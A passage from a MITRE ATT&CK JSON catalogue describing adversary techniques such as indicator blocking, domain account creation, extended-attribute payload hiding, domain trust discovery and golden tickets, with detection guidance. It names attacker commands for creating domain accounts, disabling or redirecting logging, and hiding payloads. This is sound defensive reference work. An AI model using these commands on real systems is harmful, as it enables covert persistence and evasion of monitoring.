            "description": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Daniel Stepanic, Elastic",
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Office Suite",
                "Identity Provider",
                "ESXi"
            ],
            "x_mitre_version": "2.6",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "created": "2017-05-31T21:31:08.479Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1090",
                    "external_id": "T1090"
                },
                {
                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:44.084Z",
            "name": "Proxy",
            "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jon Sheedy",
                "Heather Linn",
                "Walker Johnson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "3.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "created": "2017-05-31T21:30:49.546Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059",
                    "external_id": "T1059"
                },
                {
                    "source_name": "Remote Shell Execution in Python",
                    "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021.",
                    "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Command History",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23"
                },
                {
                    "source_name": "Powershell Remote Commands",
                    "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021.",
                    "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:41.855Z",
            "name": "Command and Scripting Interpreter",
            "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS",
                "Identity Provider",
                "Linux",
                "Network Devices",
                "Office Suite",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "2.6",
            "x_mitre_data_sources": [
                "Script: Script Execution",
                "Process: Process Creation",
                "Process: Process Metadata",
                "Module: Module Load",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da",
            "created": "2020-03-19T19:09:30.329Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/006",
                    "external_id": "T1562.006"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
                    "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
                },
                {
                    "source_name": "Broadcom Configuring syslog on ESXi",
                    "description": "Broadcom. (n.d.). Configuring syslog on ESXi. Retrieved March 27, 2025.",
                    "url": "https://knowledge.broadcom.com/external/article/318939/configuring-syslog-on-esxi.html"
                },
                {
                    "source_name": "disable_win_evt_logging",
                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
                    "url": "https://ptylu.github.io/content/report/report.html?report=25"
                },
                {
                    "source_name": "LemonDuck",
                    "description": "Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining Operations. Retrieved June 30, 2022.",
                    "url": "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/"
                },
                {
                    "source_name": "Microsoft Lamin Sept 2017",
                    "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"
                },
                {
                    "source_name": "Microsoft About Event Tracing 2018",
                    "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events"
                },
                {
                    "source_name": "Medium Event Tracing Tampering 2018",
                    "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.",
                    "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-16T21:29:20.899Z",
            "name": "Indicator Blocking",
            "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors. (Citation: LemonDuck) ESXi also leverages syslog, which can be reconfigured via commands such as `esxcli system syslog config set` and `esxcli system syslog config reload`.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)(Citation: Broadcom Configuring syslog on ESXi)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Rob Smith",
                "Lucas Heiligenstein"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}</code>",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "ESXi"
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            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Sensor Health: Host Status",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177",
            "created": "2020-01-28T14:05:17.825Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1136/002",
                    "external_id": "T1136.002"
                },
                {
                    "source_name": "Microsoft User Creation Event",
                    "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
                },
                {
                    "source_name": "Savill 1999",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"
                }
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:21:24.212Z",
            "name": "Domain Account",
            "description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
            "kill_chain_phases": [
                {
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                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
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            "x_mitre_detection": "Monitor for processes and command-line parameters associated with domain account creation, such as <code>net user /add /domain</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary.",
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                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
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            "x_mitre_version": "1.1",
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                "Process: Process Creation",
                "Command: Command Execution",
                "User Account: User Account Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--762e6f29-a62f-4d96-91ed-d0073181431f",
            "created": "2025-03-27T19:40:00.716Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/014",
                    "external_id": "T1564.014"
                },
                {
                    "source_name": "Establishing persistence using extended attributes on Linux",
                    "description": "kernel Community. (2024). Establishing persistence using extended attributes on Linux. Retrieved March 27, 2025.",
                    "url": "https://kernal.eu/posts/linux-xattr-persistence/"
                },
                {
                    "source_name": "Low GroupIB xattrs nov 2024",
                    "description": "Sharmine Low. (2024, November 13). Stealthy Attributes of Lazarus APT Group: Evading Detection with Extended Attributes. Retrieved March 27, 2025.",
                    "url": "https://www.group-ib.com/blog/stealthy-attributes-of-apt-lazarus/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:42.110Z",
            "name": "Extended Attributes",
            "description": "Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`,  `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.(Citation: Establishing persistence using extended attributes on Linux)\n\nAn adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.(Citation: Low GroupIB xattrs nov 2024)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Sharmine Low, Group-IB",
                "Rouven Bissinger (SySS GmbH)",
                "RoseSecurity"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Metadata",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156",
            "created": "2020-10-02T14:57:15.906Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1589/003",
                    "external_id": "T1589.003"
                },
                {
                    "source_name": "OPM Leak",
                    "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.",
                    "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:27:33.795Z",
            "name": "Employee Names",
            "description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0",
            "created": "2019-02-14T16:15:05.974Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1482",
                    "external_id": "T1482"
                },
                {
                    "source_name": "Microsoft Operation Wilysupply",
                    "description": "Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation WilySupply software supply chain cyberattack. Retrieved February 14, 2019.",
                    "url": "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/"
                },
                {
                    "source_name": "AdSecurity Forging Trust Tickets",
                    "description": "Metcalf, S. (2015, July 15). It\u2019s All About Trust \u2013 Forging Kerberos Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved February 14, 2019.",
                    "url": "https://adsecurity.org/?p=1588"
                },
                {
                    "source_name": "Microsoft Trusts",
                    "description": "Microsoft. (2009, October 7). Trust Technologies. Retrieved February 14, 2019.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)"
                },
                {
                    "source_name": "Microsoft GetAllTrustRelationships",
                    "description": "Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved February 14, 2019.",
                    "url": "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships"
                },
                {
                    "source_name": "Harmj0y Domain Trusts",
                    "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.",
                    "url": "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:22:35.004Z",
            "name": "Domain Trust Discovery",
            "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Dave Westgard",
                "Elia Florio, Microsoft",
                "Mnemonic",
                "RedHuntLabs, @redhuntlabs",
                "ExtraHop"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)\n",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.2",
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                "Process: Process Creation",
                "Command: Command Execution",
                "Script: Script Execution",
                "Network Traffic: Network Traffic Content",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1",
            "created": "2020-02-11T19:13:33.643Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1558/001",
                    "external_id": "T1558.001"
                },
                {
                    "source_name": "AdSecurity Kerberos GT Aug 2015",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
                    "url": "https://adsecurity.org/?p=1640"
                },
                {
                    "source_name": "CERT-EU Golden Ticket Protection",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf"
                },
                {
                    "source_name": "ADSecurity Detecting Forged Tickets",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "url": "https://adsecurity.org/?p=1515"
                },
                {
                    "source_name": "ADSecurity Kerberos and KRBTGT",
                    "description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.",
                    "url": "https://adsecurity.org/?p=483"
                },
                {
                    "source_name": "Stealthbits Detect PtT 2019",
                    "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.",
                    "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks"
                },
                {
                    "source_name": "Microsoft Kerberos Golden Ticket",
                    "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.",
                    "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-25T14:47:07.443Z",
            "name": "Golden Ticket",
            "description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Itamar Mizrahi, Cymptom"
            ],
            "x_mitre_deprecated": false,
